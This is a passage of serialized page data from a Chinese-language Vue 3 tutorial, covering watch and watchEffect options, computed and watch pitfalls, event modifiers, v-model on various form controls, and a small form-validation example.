getter\n",[136,4422,4423,4425,4427,4429,4431,4433,4435],{"class":138,"line":208},[136,4424,339],{"class":232},[136,4426,3288],{"class":236},[136,4428,240],{"class":232},[136,4430,3315],{"class":150},[136,4432,3318],{"class":142},[136,4434,485],{"class":236},[136,4436,4437],{"class":142}," })\n",[136,4439,4440,4442,4444,4446,4449,4451,4453,4455,4457,4460],{"class":138,"line":220},[136,4441,3720],{"class":150},[136,4443,590],{"class":142},[136,4445,593],{"class":232},[136,4447,4448],{"class":142}," state.count, (",[136,4450,4316],{"class":703},[136,4452,707],{"class":142},[136,4454,593],{"class":232},[136,4456,2523],{"class":142},[136,4458,4459],{"class":456},"\u002F* ... *\u002F",[136,4461,4437],{"class":142},[136,4463,4464],{"class":138,"line":229},[136,4465,173],{"emptyLinePlaceholder":172},[136,4467,4468],{"class":138,"line":258},[136,4469,4470],{"class":456},"\u002F\u002F ③ 监听多个来源\n",[136,4472,4473,4475,4478,4481,4483,4486,4489,4491,4493,4495],{"class":138,"line":267},[136,4474,3720],{"class":150},[136,4476,4477],{"class":142},"([a, b], ([",[136,4479,4480],{"class":703},"av",[136,4482,4139],{"class":142},[136,4484,4485],{"class":703},"bv",[136,4487,4488],{"class":142},"]) ",[136,4490,593],{"class":232},[136,4492,2523],{"class":142},[136,4494,4459],{"class":456},[136,4496,4437],{"class":142},[136,4498,4499],{"class":138,"line":273},[136,4500,173],{"emptyLinePlaceholder":172},[136,4502,4503],{"class":138,"line":289},[136,4504,4505],{"class":456},"\u002F\u002F ④ 需要「深层」变化时显式开启\n",[136,4507,4508,4510,4512,4514,4517,4519,4521,4523,4525,4527,4530,4533],{"class":138,"line":605},[136,4509,3720],{"class":150},[136,4511,590],{"class":142},[136,4513,593],{"class":232},[136,4515,4516],{"class":142}," state.list, (",[136,4518,4316],{"class":703},[136,4520,707],{"class":142},[136,4522,593],{"class":232},[136,4524,2523],{"class":142},[136,4526,4459],{"class":456},[136,4528,4529],{"class":142}," }, { deep: ",[136,4531,4532],{"class":236},"true",[136,4534,4437],{"class":142},[136,4536,4537],{"class":138,"line":2406},[136,4538,173],{"emptyLinePlaceholder":172},[136,4540,4541],{"class":138,"line":2415},[136,4542,4543],{"class":456},"\u002F\u002F ⑤ 立即执行一次（否则第一次不触发）\n",[136,4545,4547,4549,4552,4554],{"class":138,"line":4546},15,[136,4548,3720],{"class":150},[136,4550,4551],{"class":142},"(keyword, cb, { immediate: ",[136,4553,4532],{"class":236},[136,4555,4437],{"class":142},[136,4557,4559],{"class":138,"line":4558},16,[136,4560,173],{"emptyLinePlaceholder":172},[136,4562,4564],{"class":138,"line":4563},17,[136,4565,4566],{"class":456},"\u002F\u002F ⑥ 拿到 stop 函数手动停止（组件外创建的 watch 一定要停）\n",[136,4568,4570,4572,4575,4577,4580],{"class":138,"line":4569},18,[136,4571,339],{"class":232},[136,4573,4574],{"class":236}," stop",[136,4576,240],{"class":232},[136,4578,4579],{"class":150}," watch",[136,4581,4582],{"class":142},"(source, cb)\n",[136,4584,4586],{"class":138,"line":4585},19,[136,4587,4588],{"class":456},"\u002F\u002F ... 不需要时\n",[136,4590,4592,4595],{"class":138,"line":4591},20,[136,4593,4594],{"class":150},"stop",[136,4596,4597],{"class":142},"()\n",[10,4599,4600,4602,4603,4606,4607,4610,4611,1072,4614,4617,4618,4621,4622,4625,4626,4629],{},[22,4601,3720],{}," 的选项一共四个常用的：",[22,4604,4605],{},"immediate","（立即跑一次）、",[22,4608,4609],{},"deep","（深层遍历）、",[22,4612,4613],{},"flush",[22,4615,4616],{},"'pre'"," 默认，DOM 更新前；",[22,4619,4620],{},"'post'"," 更新后，需要读 DOM 时用它；",[22,4623,4624],{},"'sync'"," 同步执行，几乎不用来避免性能问题）、以及第三个参数返回值 ",[22,4627,4628],{},"onCleanup","（见下）。",[119,4631,4633],{"id":4632},"watcheffect自动追踪配合-oncleanup-做防抖","watchEffect：自动追踪，配合 onCleanup 做防抖",[127,4635,4637],{"className":447,"code":4636,"language":449,"meta":132,"style":132},"const query = ref('')\nwatchEffect((onCleanup) => {\n  const timer = setTimeout(() => search(query.value), 300)\n  onCleanup(() => clearTimeout(timer))   \u002F\u002F 下次执行前 \u002F 停止时自动调用\n})\n",[22,4638,4639,4656,4671,4699,4717],{"__ignoreMap":132},[136,4640,4641,4643,4646,4648,4650,4652,4654],{"class":138,"line":139},[136,4642,339],{"class":232},[136,4644,4645],{"class":236}," query",[136,4647,240],{"class":232},[136,4649,346],{"class":150},[136,4651,249],{"class":142},[136,4653,1738],{"class":157},[136,4655,255],{"class":142},[136,4657,4658,4661,4663,4665,4667,4669],{"class":138,"line":169},[136,4659,4660],{"class":150},"watchEffect",[136,4662,4133],{"class":142},[136,4664,4628],{"class":703},[136,4666,707],{"class":142},[136,4668,593],{"class":232},[136,4670,468],{"class":142},[136,4672,4673,4676,4679,4681,4684,4686,4688,4691,4694,4697],{"class":138,"line":176},[136,4674,4675],{"class":232},"  const",[136,4677,4678],{"class":236}," timer",[136,4680,240],{"class":232},[136,4682,4683],{"class":150}," setTimeout",[136,4685,590],{"class":142},[136,4687,593],{"class":232},[136,4689,4690],{"class":150}," search",[136,4692,4693],{"class":142},"(query.value), ",[136,4695,4696],{"class":236},"300",[136,4698,255],{"class":142},[136,4700,4701,4704,4706,4708,4711,4714],{"class":138,"line":199},[136,4702,4703],{"class":150},"  onCleanup",[136,4705,590],{"class":142},[136,4707,593],{"class":232},[136,4709,4710],{"class":150}," clearTimeout",[136,4712,4713],{"class":142},"(timer))   ",[136,4715,4716],{"class":456},"\u002F\u002F 下次执行前 \u002F 停止时自动调用\n",[136,4718,4719],{"class":138,"line":208},[136,4720,2502],{"class":142},[10,4722,4723,4725,4726,4729,4730,4732],{},[22,4724,4660],{}," 不需要声明监听谁，函数里读到的响应式都被记录。代价是",[17,4727,4728],{},"可读性","：依赖是隐式的，别人（和三个月后的你）看不出这段代码会在什么时机跑。项目里的实践约定是：只在「依赖多、且就是要跟着全部依赖走」时用，通常配合 ",[22,4731,4628],{}," 处理订阅\u002F定时器\u002F请求取消。",[801,4734],{"height":1654,"src":4735,"title":4736},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F05-computed-watch.html","示例 05：computed 的缓存、可写 computed 与 watch 的触发矩阵",[10,4738,4739],{},"示例 05 的第三块给出了一张「哪种改动触发了哪几个 watch」的矩阵——这一节的坑基本都在这张表里。",[119,4741,816],{"id":4742},"️-本章的坑-4",[10,4744,4745,4750,4751,4754,4755,4757,4758,4761],{},[17,4746,1664,4747,4749],{},[22,4748,428],{}," 里写副作用。"," 在 getter 里 ",[22,4752,4753],{},"emit","、发请求、改别的 ",[22,4756,246],{},"，会形成「渲染 → 改数据 → 再渲染」的循环，开发版报 ",[22,4759,4760],{},"Maximum recursive updates exceeded","。派生就纯派生。",[10,4763,4764,822,4769,4772,4773,4776,4777,4780,4781,4783,4784,4786],{},[17,4765,2645,4766,4768],{},[22,4767,428],{}," 里访问了「还没声明」的响应式变量。",[22,4770,4771],{},"const a = computed(() => b.value)"," 写在 ",[22,4774,4775],{},"const b = ref(0)"," 之前，首次求值时 ",[22,4778,4779],{},"b"," 是 ",[22,4782,1734],{},"（TDZ 或直接报错）。顺序摆正，或者把 ",[22,4785,428],{}," 放到依赖之后。",[10,4788,4789,822,4795,4798,4799,4802,4803,400,4805,785,4807,4810,4811,849],{},[17,4790,4791,4792,4794],{},"3. 监听 ",[22,4793,3400],{}," 对象不写 getter，又忘了它是深监听。",[22,4796,4797],{},"watch(state, cb)","（state 是 reactive）默认 ",[22,4800,4801],{},"deep: true","，对象一大每次改动都全量遍历；而且由于引用没变，",[22,4804,4380],{},[22,4806,4385],{},[17,4808,4809],{},"同一个对象","，拿不到「旧值」。只关心某个字段就写 ",[22,4812,4813],{},"() => state.count",[10,4815,4816,822,4819,4822,4823,4826,4827,4830],{},[17,4817,4818],{},"4. 监听一个「对象引用」而不是内容。",[22,4820,4821],{},"watch(() => obj.data, cb)","，你在 cb 里改 ",[22,4824,4825],{},"obj.data"," 的字段而不是替换整个对象，就不会再触发。要么 deep，要么换成监听 ",[22,4828,4829],{},"() => obj.data.length"," 这类标量。",[10,4832,4833,4836,4837,4839,4840,4843,4844,4846,4847,4850],{},[17,4834,4835],{},"5. 忘停的 watch 是内存泄漏。"," 在组合式函数、插件、",[22,4838,3720],{}," 于 ",[22,4841,4842],{},"setTimeout"," 回调里创建等「脱离组件实例」的场景创建的 watch，不会被自动回收。拿到返回的 ",[22,4845,4594],{}," 并在 ",[22,4848,4849],{},"onBeforeUnmount"," 里调用。",[10,4852,4853,4859,4860,4862],{},[17,4854,930,4855,4858],{},[22,4856,4857],{},"immediate: true"," 首次回调时依赖可能是空。"," 典型的翻车是首次就发请求，参数还是 ",[22,4861,1734],{},"。要么先判空，要么把「初始化」单独写。",[10,4864,4865,822,4868,4871,4872,862,4874,4877],{},[17,4866,4867],{},"7. 异步 watch 的竞态。",[22,4869,4870],{},"watch(id, async () => { data.value = await fetchDetail(id.value) })","：快速切换 id 时，先发的慢请求可能后返回，覆盖掉新数据。解法是本地一个「请求序号\u002F最新 id」对比，或者用 ",[22,4873,4628],{},[22,4875,4876],{},"AbortController"," 取消上一次请求。",[10,4879,4880,4887,4888,4890,4891,4894],{},[17,4881,4882,4883,4886],{},"8. ",[22,4884,4885],{},"flush: 'post'"," 才是读 DOM 的时机。"," 想在数据变化后读更新后的 DOM（比如滚动到底部），默认 ",[22,4889,4616],{}," 时机读到的是旧 DOM。更稳的做法是 ",[22,4892,4893],{},"nextTick()","（第十二章）。",[119,4896,4898],{"id":4897},"附computed-watch-watcheffect-选择表","附：computed \u002F watch \u002F watchEffect 选择表",[53,4900,4901,4914],{},[56,4902,4903],{},[59,4904,4905,4908,4911],{},[62,4906,4907],{},"需求",[62,4909,4910],{},"用什么",[62,4912,4913],{},"理由",[72,4915,4916,4928,4943,4955,4969],{},[59,4917,4918,4921,4925],{},[77,4919,4920],{},"界面要显示一个算出来的值",[77,4922,4923],{},[22,4924,428],{},[77,4926,4927],{},"有缓存、纯函数、模板里读着舒服",[59,4929,4930,4935,4940],{},[77,4931,4932,4933,3039],{},"值需要双向换算（可 ",[22,4934,2881],{},[77,4936,4937,4938],{},"可写 ",[22,4939,428],{},[77,4941,4942],{},"get\u002Fset 成对写，不用手动同步",[59,4944,4945,4948,4952],{},[77,4946,4947],{},"数据变了要发请求 \u002F 写存储 \u002F 埋点",[77,4949,4950],{},[22,4951,3720],{},[77,4953,4954],{},"能拿旧值、能控制 deep\u002Fimmediate",[59,4956,4957,4960,4966],{},[77,4958,4959],{},"依赖很多且都相关（搜索防抖）",[77,4961,4962,862,4964],{},[22,4963,4660],{},[22,4965,4628],{},[77,4967,4968],{},"自动收集依赖，省去一长串监听列表",[59,4970,4971,4974,4982],{},[77,4972,4973],{},"只想知道「渲染完成了」",[77,4975,4976,422,4979],{},[22,4977,4978],{},"onUpdated",[22,4980,4981],{},"nextTick",[77,4983,4984],{},"见第十二章，别用 watch 代替生命周期",[53,4986,4987,5002],{},[56,4988,4989],{},[59,4990,4991,4996,4999],{},[62,4992,4993,4995],{},[22,4994,3720],{}," 选项",[62,4997,4998],{},"默认",[62,5000,5001],{},"说明",[72,5003,5004,5016,5028,5049],{},[59,5005,5006,5010,5013],{},[77,5007,5008],{},[22,5009,4605],{},[77,5011,5012],{},"false",[77,5014,5015],{},"创建时立刻用当前值执行一次回调",[59,5017,5018,5022,5025],{},[77,5019,5020],{},[22,5021,4609],{},[77,5023,5024],{},"reactive 源为 true，其他 false",[77,5026,5027],{},"深层遍历比较，代价随对象体积增长",[59,5029,5030,5034,5038],{},[77,5031,5032],{},[22,5033,4613],{},[77,5035,5036],{},[22,5037,4616],{},[77,5039,5040,5042,5043,5045,5046,5048],{},[22,5041,4616],{}," 组件更新前 \u002F ",[22,5044,4620],{}," 更新后（读 DOM） \u002F ",[22,5047,4624],{}," 同步",[59,5050,5051,5057,5059],{},[77,5052,5053,5056],{},[22,5054,5055],{},"once","（3.5+）",[77,5058,5012],{},[77,5060,5061,5062],{},"触发一次后自动停止，替代手写 ",[22,5063,5064],{},"stop()",[35,5066,5068],{"id":5067},"六事件处理与-v-model表单是双向绑定的主战场","六、事件处理与 v-model：表单是双向绑定的主战场",[10,5070,5071,5072,5074,5075,5077,5078,5080],{},"事件是「用户操作 → 数据变化」，",[22,5073,2881],{}," 是「数据 ⇄ 表单控件」双向同步。两者都写在模板里，规则却不太一样：",[22,5076,2849],{}," 后面那串是「语句或表达式」，",[22,5079,2881],{}," 背后其实是两个绑定。",[119,5082,5084,5085,5087],{"id":5083},"事件click-后面能写什么","事件：",[22,5086,2068],{}," 后面能写什么",[127,5089,5091],{"className":305,"code":5090,"language":307,"meta":132,"style":132},"\u003Ctemplate>\n  \u003Cbutton @click=\"count++\">自增\u003C\u002Fbutton>                 \u003C!-- 内联表达式 -->\n  \u003Cbutton @click=\"add(2)\">加 2\u003C\u002Fbutton>                   \u003C!-- 内联调用，传自己的参数 -->\n  \u003Cbutton @click=\"onKey($event, 'save')\">带 $event\u003C\u002Fbutton>  \u003C!-- 需要事件对象时显式写 $event -->\n  \u003Cbutton @click=\"submit\">直接给函数引用\u003C\u002Fbutton>          \u003C!-- 参数是原生 event（或 emit 的载荷） -->\n\u003C\u002Ftemplate>\n",[22,5092,5093,5101,5124,5147,5170,5193],{"__ignoreMap":132},[136,5094,5095,5097,5099],{"class":138,"line":139},[136,5096,143],{"class":142},[136,5098,371],{"class":146},[136,5100,166],{"class":142},[136,5102,5103,5105,5107,5109,5111,5113,5116,5118,5121],{"class":138,"line":169},[136,5104,378],{"class":142},[136,5106,2238],{"class":146},[136,5108,2241],{"class":150},[136,5110,154],{"class":142},[136,5112,2246],{"class":157},[136,5114,5115],{"class":142},">自增\u003C\u002F",[136,5117,2238],{"class":146},[136,5119,5120],{"class":142},">                 ",[136,5122,5123],{"class":456},"\u003C!-- 内联表达式 -->\n",[136,5125,5126,5128,5130,5132,5134,5137,5140,5142,5144],{"class":138,"line":176},[136,5127,378],{"class":142},[136,5129,2238],{"class":146},[136,5131,2241],{"class":150},[136,5133,154],{"class":142},[136,5135,5136],{"class":157},"\"add(2)\"",[136,5138,5139],{"class":142},">加 2\u003C\u002F",[136,5141,2238],{"class":146},[136,5143,1207],{"class":142},[136,5145,5146],{"class":456},"\u003C!-- 内联调用，传自己的参数 -->\n",[136,5148,5149,5151,5153,5155,5157,5160,5163,5165,5167],{"class":138,"line":199},[136,5150,378],{"class":142},[136,5152,2238],{"class":146},[136,5154,2241],{"class":150},[136,5156,154],{"class":142},[136,5158,5159],{"class":157},"\"onKey($event, 'save')\"",[136,5161,5162],{"class":142},">带 $event\u003C\u002F",[136,5164,2238],{"class":146},[136,5166,1224],{"class":142},[136,5168,5169],{"class":456},"\u003C!-- 需要事件对象时显式写 $event -->\n",[136,5171,5172,5174,5176,5178,5180,5183,5186,5188,5190],{"class":138,"line":208},[136,5173,378],{"class":142},[136,5175,2238],{"class":146},[136,5177,2241],{"class":150},[136,5179,154],{"class":142},[136,5181,5182],{"class":157},"\"submit\"",[136,5184,5185],{"class":142},">直接给函数引用\u003C\u002F",[136,5187,2238],{"class":146},[136,5189,1190],{"class":142},[136,5191,5192],{"class":456},"\u003C!-- 参数是原生 event（或 emit 的载荷） -->\n",[136,5194,5195,5197,5199],{"class":138,"line":220},[136,5196,292],{"class":142},[136,5198,371],{"class":146},[136,5200,166],{"class":142},[10,5202,5203,5204,5207,5208,5211,5212,5215,5216],{},"「写函数名」和「写函数名+括号」的差别很关键：",[22,5205,5206],{},"@click=\"submit\""," 会把原生 ",[22,5209,5210],{},"event"," 当第一个参数传进去；",[22,5213,5214],{},"@click=\"submit()\""," 则不传参。",[17,5217,5218,5219,849],{},"需要 event 又怕被别的东西污染，就显式写 ",[22,5220,5221],{},"$event",[127,5223,5225],{"className":447,"code":5224,"language":449,"meta":132,"style":132},"function onKey(e, action) {\n  console.log(e.key, action)   \u002F\u002F e 是 KeyboardEvent\n}\n",[22,5226,5227,5248,5261],{"__ignoreMap":132},[136,5228,5229,5232,5235,5237,5240,5242,5245],{"class":138,"line":139},[136,5230,5231],{"class":232},"function",[136,5233,5234],{"class":150}," onKey",[136,5236,249],{"class":142},[136,5238,5239],{"class":703},"e",[136,5241,4139],{"class":142},[136,5243,5244],{"class":703},"action",[136,5246,5247],{"class":142},") {\n",[136,5249,5250,5253,5255,5258],{"class":138,"line":169},[136,5251,5252],{"class":142},"  console.",[136,5254,525],{"class":150},[136,5256,5257],{"class":142},"(e.key, action)   ",[136,5259,5260],{"class":456},"\u002F\u002F e 是 KeyboardEvent\n",[136,5262,5263],{"class":138,"line":176},[136,5264,538],{"class":142},[119,5266,5268,5269],{"id":5267},"修饰符省掉那些-estoppropagation","修饰符：省掉那些 ",[22,5270,5271],{},"e.stopPropagation()",[127,5273,5275],{"className":129,"code":5274,"language":131,"meta":132,"style":132},"\u003Cform @submit.prevent=\"onSubmit\">              \u003C!-- 阻止默认提交（页面刷新） -->\n\u003Cdiv @click=\"outer\">\n  \u003Cbutton @click.stop=\"inner\">不冒泡\u003C\u002Fbutton>   \u003C!-- 只触发 inner -->\n  \u003Cbutton @click.self=\"outer\">只有点自己才触发\u003C\u002Fbutton>\n  \u003Cbutton @click.capture=\"log\">捕获阶段先走我\u003C\u002Fbutton>\n  \u003Cbutton @click.once=\"claim\">只能点一次\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\u003Cinput @keyup.enter=\"search\" @keyup.esc=\"clear\">\n\u003Cdiv @touchmove.passive=\"onMove\">滚动不阻塞\u003C\u002Fdiv>   \u003C!-- passive 里不能再 preventDefault -->\n",[22,5276,5277,5294,5309,5333,5353,5374,5395,5403,5425],{"__ignoreMap":132},[136,5278,5279,5281,5283,5285,5287,5289,5291],{"class":138,"line":139},[136,5280,143],{"class":142},[136,5282,2260],{"class":146},[136,5284,2263],{"class":150},[136,5286,154],{"class":142},[136,5288,2268],{"class":157},[136,5290,3206],{"class":142},[136,5292,5293],{"class":456},"\u003C!-- 阻止默认提交（页面刷新） -->\n",[136,5295,5296,5298,5300,5302,5304,5307],{"class":138,"line":169},[136,5297,143],{"class":142},[136,5299,147],{"class":146},[136,5301,2241],{"class":150},[136,5303,154],{"class":142},[136,5305,5306],{"class":157},"\"outer\"",[136,5308,166],{"class":142},[136,5310,5311,5313,5315,5318,5320,5323,5326,5328,5330],{"class":138,"line":176},[136,5312,378],{"class":142},[136,5314,2238],{"class":146},[136,5316,5317],{"class":150}," @click.stop",[136,5319,154],{"class":142},[136,5321,5322],{"class":157},"\"inner\"",[136,5324,5325],{"class":142},">不冒泡\u003C\u002F",[136,5327,2238],{"class":146},[136,5329,2400],{"class":142},[136,5331,5332],{"class":456},"\u003C!-- 只触发 inner -->\n",[136,5334,5335,5337,5339,5342,5344,5346,5349,5351],{"class":138,"line":199},[136,5336,378],{"class":142},[136,5338,2238],{"class":146},[136,5340,5341],{"class":150}," @click.self",[136,5343,154],{"class":142},[136,5345,5306],{"class":157},[136,5347,5348],{"class":142},">只有点自己才触发\u003C\u002F",[136,5350,2238],{"class":146},[136,5352,166],{"class":142},[136,5354,5355,5357,5359,5362,5364,5367,5370,5372],{"class":138,"line":208},[136,5356,378],{"class":142},[136,5358,2238],{"class":146},[136,5360,5361],{"class":150}," @click.capture",[136,5363,154],{"class":142},[136,5365,5366],{"class":157},"\"log\"",[136,5368,5369],{"class":142},">捕获阶段先走我\u003C\u002F",[136,5371,2238],{"class":146},[136,5373,166],{"class":142},[136,5375,5376,5378,5380,5383,5385,5388,5391,5393],{"class":138,"line":220},[136,5377,378],{"class":142},[136,5379,2238],{"class":146},[136,5381,5382],{"class":150}," @click.once",[136,5384,154],{"class":142},[136,5386,5387],{"class":157},"\"claim\"",[136,5389,5390],{"class":142},">只能点一次\u003C\u002F",[136,5392,2238],{"class":146},[136,5394,166],{"class":142},[136,5396,5397,5399,5401],{"class":138,"line":229},[136,5398,292],{"class":142},[136,5400,147],{"class":146},[136,5402,166],{"class":142},[136,5404,5405,5407,5409,5411,5413,5415,5418,5420,5423],{"class":138,"line":258},[136,5406,143],{"class":142},[136,5408,2281],{"class":146},[136,5410,2292],{"class":150},[136,5412,154],{"class":142},[136,5414,2297],{"class":157},[136,5416,5417],{"class":150}," @keyup.esc",[136,5419,154],{"class":142},[136,5421,5422],{"class":157},"\"clear\"",[136,5424,166],{"class":142},[136,5426,5427,5429,5431,5434,5436,5439,5442,5444,5446],{"class":138,"line":267},[136,5428,143],{"class":142},[136,5430,147],{"class":146},[136,5432,5433],{"class":150}," @touchmove.passive",[136,5435,154],{"class":142},[136,5437,5438],{"class":157},"\"onMove\"",[136,5440,5441],{"class":142},">滚动不阻塞\u003C\u002F",[136,5443,147],{"class":146},[136,5445,2400],{"class":142},[136,5447,5448],{"class":456},"\u003C!-- passive 里不能再 preventDefault -->\n",[10,5450,5451,5453,5454,634,5456,5458],{},[22,5452,3030],{}," 用来给移动端滚动优化（告诉浏览器你不会阻止默认行为）；",[22,5455,2985],{},[22,5457,3030],{}," 冲突，同时写会收到警告。",[119,5460,5462],{"id":5461},"v-model各控件里存的到底是什么","v-model：各控件里存的到底是什么",[10,5464,5465,5468,5469,862,5472,5475,5476,862,5479,5482,5483,5485],{},[22,5466,5467],{},"v-model=\"x\""," 展开是 ",[22,5470,5471],{},":value=\"x\"",[22,5473,5474],{},"@input=\"x = $event.target.value\"","（组件上则是 ",[22,5477,5478],{},"modelValue",[22,5480,5481],{},"update:modelValue","）。因为它是「语法糖」，不同控件下 ",[22,5484,4142],{}," 的类型会不一样——这是本章最容易踩的地方，示例 06 把每种控件的当前值和类型实时打在旁边。",[53,5487,5488,5502],{},[56,5489,5490],{},[59,5491,5492,5495,5500],{},[62,5493,5494],{},"控件",[62,5496,5497,5499],{},[22,5498,2881],{}," 绑的值",[62,5501,5001],{},[72,5503,5504,5520,5540,5559,5574,5593],{},[59,5505,5506,5514,5517],{},[77,5507,5508,422,5511],{},[22,5509,5510],{},"\u003Cinput type=\"text\">",[22,5512,5513],{},"\u003Ctextarea>",[77,5515,5516],{},"字符串",[77,5518,5519],{},"输入即同步",[59,5521,5522,5528,5531],{},[77,5523,5524,5527],{},[22,5525,5526],{},"\u003Cinput type=\"checkbox\">","（单个）",[77,5529,5530],{},"布尔",[77,5532,5533,5534,422,5537],{},"想绑别的值要用 ",[22,5535,5536],{},"true-value",[22,5538,5539],{},"false-value",[59,5541,5542,5547,5552],{},[77,5543,5544,5546],{},[22,5545,5526],{},"（同组多个）",[77,5548,5549],{},[17,5550,5551],{},"数组",[77,5553,5554,5555,5558],{},"勾中的 ",[22,5556,5557],{},"value"," 被 push 进数组",[59,5560,5561,5566,5571],{},[77,5562,5563],{},[22,5564,5565],{},"\u003Cinput type=\"radio\">",[77,5567,5568,5569],{},"被选中项的 ",[22,5570,5557],{},[77,5572,5573],{},"同一组共用一个 v-model",[59,5575,5576,5581,5584],{},[77,5577,5578],{},[22,5579,5580],{},"\u003Cselect>",[77,5582,5583],{},"选中项的值",[77,5585,5586,5587,5590,5591],{},"加 ",[22,5588,5589],{},"multiple"," 时是",[17,5592,5551],{},[59,5594,5595,5601,5603],{},[77,5596,5597,5600],{},[22,5598,5599],{},"\u003Cinput type=\"date\">"," 等",[77,5602,5516],{},[77,5604,5605],{},"格式由浏览器控件决定",[127,5607,5609],{"className":129,"code":5608,"language":131,"meta":132,"style":132},"\u003Cinput v-model.number=\"age\">      \u003C!-- 尝试 parseFloat，失败保持原样 -->\n\u003Cinput v-model.trim=\"name\">       \u003C!-- change 时自动去首尾空格 -->\n\u003Cinput v-model.lazy=\"comment\">    \u003C!-- blur 才同步（长文本输入减少重渲染） -->\n\u003Cinput v-model=\"text\" :value=\"text\">  \u003C!-- 别这么写：v-model 会覆盖 value -->\n",[22,5610,5611,5631,5651,5671],{"__ignoreMap":132},[136,5612,5613,5615,5617,5620,5622,5625,5628],{"class":138,"line":139},[136,5614,143],{"class":142},[136,5616,2281],{"class":146},[136,5618,5619],{"class":150}," v-model.number",[136,5621,154],{"class":142},[136,5623,5624],{"class":157},"\"age\"",[136,5626,5627],{"class":142},">      ",[136,5629,5630],{"class":456},"\u003C!-- 尝试 parseFloat，失败保持原样 -->\n",[136,5632,5633,5635,5637,5640,5642,5645,5648],{"class":138,"line":169},[136,5634,143],{"class":142},[136,5636,2281],{"class":146},[136,5638,5639],{"class":150}," v-model.trim",[136,5641,154],{"class":142},[136,5643,5644],{"class":157},"\"name\"",[136,5646,5647],{"class":142},">       ",[136,5649,5650],{"class":456},"\u003C!-- change 时自动去首尾空格 -->\n",[136,5652,5653,5655,5657,5660,5662,5665,5668],{"class":138,"line":176},[136,5654,143],{"class":142},[136,5656,2281],{"class":146},[136,5658,5659],{"class":150}," v-model.lazy",[136,5661,154],{"class":142},[136,5663,5664],{"class":157},"\"comment\"",[136,5666,5667],{"class":142},">    ",[136,5669,5670],{"class":456},"\u003C!-- blur 才同步（长文本输入减少重渲染） -->\n",[136,5672,5673,5675,5677,5679,5681,5684,5687,5689,5691,5693],{"class":138,"line":199},[136,5674,143],{"class":142},[136,5676,2281],{"class":146},[136,5678,2284],{"class":150},[136,5680,154],{"class":142},[136,5682,5683],{"class":157},"\"text\"",[136,5685,5686],{"class":150}," :value",[136,5688,154],{"class":142},[136,5690,5683],{"class":157},[136,5692,1224],{"class":142},[136,5694,5695],{"class":456},"\u003C!-- 别这么写：v-model 会覆盖 value -->\n",[10,5697,5698,5699,5702,5703,5705,5706,5708,5709,5712,5713,5716,5717,870,5719,634,5722,5724],{},"三个修饰符的行为细节：",[22,5700,5701],{},".number"," 遇到空串会留下 ",[22,5704,1738],{}," 而不是 ",[22,5707,485],{},"（校验时注意）；",[22,5710,5711],{},".lazy"," 让同步发生在 ",[22,5714,5715],{},"change","（失焦）而不是 ",[22,5718,2281],{},[22,5720,5721],{},".trim",[22,5723,5711],{}," 组合使用效果最好（失焦时才裁剪）。",[119,5726,5728],{"id":5727},"事件与-v-model-的配合表单校验最小可用版","事件与 v-model 的配合：表单校验最小可用版",[127,5730,5732],{"className":305,"code":5731,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { reactive, computed } from 'vue'\nconst form = reactive({ name: '', age: '', agree: false })\nconst nameErr = computed(() => form.name.trim() ? '' : '姓名必填')\nconst canSubmit = computed(() => !nameErr.value && form.agree)\n\nfunction submit() {\n  if (!canSubmit.value) return\n  \u002F\u002F 提交逻辑：这里才真的发请求\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cform @submit.prevent=\"submit\">\n    \u003Cinput v-model.trim=\"form.name\" placeholder=\"姓名\">\n    \u003Cp v-if=\"nameErr\" class=\"err\">{{ nameErr }}\u003C\u002Fp>\n    \u003Cinput v-model.number=\"form.age\" type=\"number\" min=\"1\" placeholder=\"年龄\">\n    \u003Cinput id=\"agree\" v-model=\"form.agree\" type=\"checkbox\">\n    \u003Clabel for=\"agree\">同意条款\u003C\u002Flabel>\n    \u003Cbutton type=\"submit\" :disabled=\"!canSubmit\">提交\u003C\u002Fbutton>\n  \u003C\u002Fform>\n\u003C\u002Ftemplate>\n",[22,5733,5734,5744,5755,5781,5818,5845,5849,5858,5874,5879,5883,5891,5895,5903,5917,5940,5969,6006,6035,6056,6083,6092],{"__ignoreMap":132},[136,5735,5736,5738,5740,5742],{"class":138,"line":139},[136,5737,143],{"class":142},[136,5739,181],{"class":146},[136,5741,318],{"class":150},[136,5743,166],{"class":142},[136,5745,5746,5748,5751,5753],{"class":138,"line":169},[136,5747,325],{"class":232},[136,5749,5750],{"class":142}," { reactive, computed } ",[136,5752,331],{"class":232},[136,5754,334],{"class":157},[136,5756,5757,5759,5761,5763,5765,5767,5769,5772,5774,5777,5779],{"class":138,"line":176},[136,5758,339],{"class":232},[136,5760,3346],{"class":236},[136,5762,240],{"class":232},[136,5764,3315],{"class":150},[136,5766,3163],{"class":142},[136,5768,1738],{"class":157},[136,5770,5771],{"class":142},", age: ",[136,5773,1738],{"class":157},[136,5775,5776],{"class":142},", agree: ",[136,5778,5012],{"class":236},[136,5780,4437],{"class":142},[136,5782,5783,5785,5788,5790,5792,5794,5796,5799,5802,5805,5808,5811,5813,5816],{"class":138,"line":199},[136,5784,339],{"class":232},[136,5786,5787],{"class":236}," nameErr",[136,5789,240],{"class":232},[136,5791,587],{"class":150},[136,5793,590],{"class":142},[136,5795,593],{"class":232},[136,5797,5798],{"class":142}," form.name.",[136,5800,5801],{"class":150},"trim",[136,5803,5804],{"class":142},"() ",[136,5806,5807],{"class":232},"?",[136,5809,5810],{"class":157}," ''",[136,5812,1280],{"class":232},[136,5814,5815],{"class":157}," '姓名必填'",[136,5817,255],{"class":142},[136,5819,5820,5822,5825,5827,5829,5831,5833,5836,5839,5842],{"class":138,"line":208},[136,5821,339],{"class":232},[136,5823,5824],{"class":236}," canSubmit",[136,5826,240],{"class":232},[136,5828,587],{"class":150},[136,5830,590],{"class":142},[136,5832,593],{"class":232},[136,5834,5835],{"class":232}," !",[136,5837,5838],{"class":142},"nameErr.value ",[136,5840,5841],{"class":232},"&&",[136,5843,5844],{"class":142}," form.agree)\n",[136,5846,5847],{"class":138,"line":220},[136,5848,173],{"emptyLinePlaceholder":172},[136,5850,5851,5853,5856],{"class":138,"line":229},[136,5852,5231],{"class":232},[136,5854,5855],{"class":150}," submit",[136,5857,226],{"class":142},[136,5859,5860,5863,5865,5868,5871],{"class":138,"line":258},[136,5861,5862],{"class":232},"  if",[136,5864,731],{"class":142},[136,5866,5867],{"class":232},"!",[136,5869,5870],{"class":142},"canSubmit.value) 